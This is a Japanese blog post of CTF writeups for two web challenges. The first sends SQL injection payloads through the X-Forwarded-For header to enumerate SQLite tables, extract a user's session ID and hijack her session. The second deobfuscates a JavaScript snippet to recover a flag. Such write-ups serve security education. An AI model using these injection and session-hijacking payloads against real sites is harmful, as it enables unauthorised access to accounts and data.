Security

Quals: Saudi and Oman National Cyber Security CTF writeup Maria

Category:Web Security
Level:hard
Points:200

Points

Maria is the only person who can view the flag


URLにアクセスします。Cookieを削除した状態でアクセスすると次のようにResponseにSQL文が記載されています。

1

X-Forwarded-ForタグでIPアドレスを指定してみます。
X-Forwarded-Forとは、HTTPヘッダフィールドの1つであり、ロードバランサなどの機器を経由してWebサーバに接続するクライアントの送信元IPアドレスを特定する際のデファクトスタンダードです。
Fiddlerでリクエストを編集して送信します。

2

X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
3
エラーメッセージが返ってきました。SQLインジェクションができそうです。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
' union select 1, 2, 3, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
2つのテーブル名が取得できました。
PHPSESSID=nxf8_users%2Cnxf8_sessions;
それでは、nxf8_usersテーブルの列名を取得したいと思います。以下のSQL文を指定します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_users'--
次のようにCREATE TABLE文を取得できました。
PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29;
パーセントエンコードを復号すると次のようになります。
CREATE TABLE "nxf8_users" (
    "id" int(10) NOT NULL,
    "name" varchar(255)  NOT NULL,
    "email" varchar(255)  NOT NULL,
    "password" varchar(255)  NOT NULL,
    "role" varchar(100)  DEFAULT NULL
);
同様にnxf8_sessionsテーブルのCREATE TABLE文を取得します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_sessions'--
以下の情報が取得できます。
CREATE TABLE "nxf8_sessions" (
    "id" int(10) NOT NULL,
    "user_id" varchar(255)  NOT NULL,
    "ip_address" varchar(255) NOT NULL,
    "session_id" varchar(255)  NOT NULL
); 
nxf8_usersテーブルから"Maria"の情報を取得します。
' union select 1, 2, 3, id FROM nxf8_users where name = 'Maria'--
次の情報が取得できます。MariaのIDは5です。
PHPSESSID=5;
nxf8_sessionsテーブルからuser_id=5の情報を取得します。
' union select 1, 2, 3, session_id FROM nxf8_sessions where user_id = '5'--
次の情報が取得できます。
PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
それではリクエストのクッキーに次の値を設定して要求を投げてみます。
Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
下図のようにフラグが表示されました。
4

フラグは、
aj9dhAdf4
です。

実践 Fiddler
Eric Lawrence
オライリージャパン
2013-05-25


Quals: Saudi and Oman National Cyber Security CTF writeup Back to basics

Category:Web Security
Level:easy
Points:50

Points

not pretty much many options. No need to open a link from a browser, there is always a different way


URLにアクセスするとGoogleにリダイレクトされます。そこでFiddlerでRequestを編集してPOSTでRequestを投げてみます。すると次のようなResponseが返ってきます。
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->
次のようにコードを編集しブラウザで実行します。
<script>
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2)
{
flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}
console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])
-->
</script>
function内のflagの直後にブレークポイントを設定すると、flagの値が確認できます。

1

フラグは、
2b323f9008ed771765cd2259d860baec
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー